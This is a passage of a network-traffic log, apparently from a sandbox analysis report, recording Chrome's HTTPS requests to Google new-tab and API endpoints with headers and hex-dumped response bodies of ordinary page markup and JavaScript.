2024-11-12 14:41:10 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 14:41:10 UTC	1042	IN	HTTP/1.1 200 OK Version: 694010790 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 12 Nov 2024 14:41:10 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 14:41:10 UTC	25	IN	Data Raw: 31 33 0d 0a 29 5d 7d 27 0a 7b 22 64 64 6c 6a 73 6f 6e 22 3a 7b 7d 7d 0d 0a Data Ascii: 13)]}'{"ddljson":{}}
2024-11-12 14:41:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	142.250.185.164	443	7728	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:41:10 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 14:41:10 UTC	1042	IN	HTTP/1.1 200 OK Version: 694010790 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 12 Nov 2024 14:41:10 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 14:41:10 UTC	336	IN	Data Raw: 32 36 32 32 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 2622)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-12 14:41:10 UTC	1378	IN	Data Raw: 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-11-12 14:41:10 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\
2024-11-12 14:41:10 UTC	1378	IN	Data Raw: 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 Data Ascii: role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l22
2024-11-12 14:41:10 UTC	1378	IN	Data Raw: 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 Data Ascii: 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1
2024-11-12 14:41:10 UTC	1378	IN	Data Raw: 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 36 31 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 Data Ascii: ft_product_control-label1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700261,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_sc
2024-11-12 14:41:10 UTC	1378	IN	Data Raw: 2d 32 2e 30 5c 6e 2a 2f 5c 6e 76 61 72 20 4c 64 3b 5f 2e 4a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 4c 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 4b 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 Data Ascii: -2.0\n*/\nvar Ld;_.Jd\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Ld\u003dfunction(a){return new _.Kd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u00
2024-11-12 14:41:10 UTC	1166	IN	Data Raw: 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 59 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 59 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 65 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f Data Ascii: ;return new _.Yd(b?b.createScriptURL(a):a)};_.$d\u003dfunction(a){if(a instanceof _.Yd)return a.i;throw Error(\"F\");};_.be\u003dfunction(a){if(ae.test(a))return a};_.ce\u003dfunction(a){if(a instanceof _.Nd)if(a instanceof _.Nd)a\u003da.i;else throw Erro
2024-11-12 14:41:10 UTC	375	IN	Data Raw: 31 37 30 0d 0a 2f 3f 23 5d 7c 24 29 29 2f 69 3b 76 61 72 20 6f 65 2c 73 65 2c 6b 65 3b 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 6e 65 77 20 6b 65 28 5f 2e 6c 65 28 61 29 29 3a 69 65 7c 7c 28 69 65 5c 75 30 30 33 64 6e 65 77 20 6b 65 29 7d 3b 5f 2e 6e 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 5c 75 30 30 33 64 62 7c 7c 64 6f 63 75 6d 65 6e 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 Data Ascii: 170/?#]\|$))/i;var oe,se,ke;_.me\u003dfunction(a){return a?new ke(_.le(a)):ie\|\|(ie\u003dnew ke)};_.ne\u003dfunction(a,b){return typeof b\u003d\u003d\u003d\"string\"?a.getElementById(b):b};_.U\u003dfunction(a,b){var c\u003db\|\|document;c.getElementsByClass
2024-11-12 14:41:10 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 70 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 41 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 Data Ascii: 8000,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.pe\u003dfunction(a,b){_.Ab(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	142.250.185.164	443	7728	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:41:10 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 14:41:10 UTC	957	IN	HTTP/1.1 200 OK Version: 694010790 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 12 Nov 2024 14:41:10 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 14:41:10 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-12 14:41:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49747	142.250.181.238	443	7728	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:41:13 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 14:41:13 UTC	916	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon, 11 Nov 2024 00:32:18 GMT Expires: Tue, 11 Nov 2025 00:32:18 GMT Cache-Control: public, max-age=31536000 Age: 137335 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-12 14:41:13 UTC	462	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-12 14:41:13 UTC	1378	IN	Data Raw: 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 Data Ascii: ototype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)ret
2024-11-12 14:41:13 UTC	1378	IN	Data Raw: 76 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 Data Ascii: var b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.a
2024-11-12 14:41:13 UTC	1378	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 Data Ascii: =function(h){this.Fa=0;this.wf=void 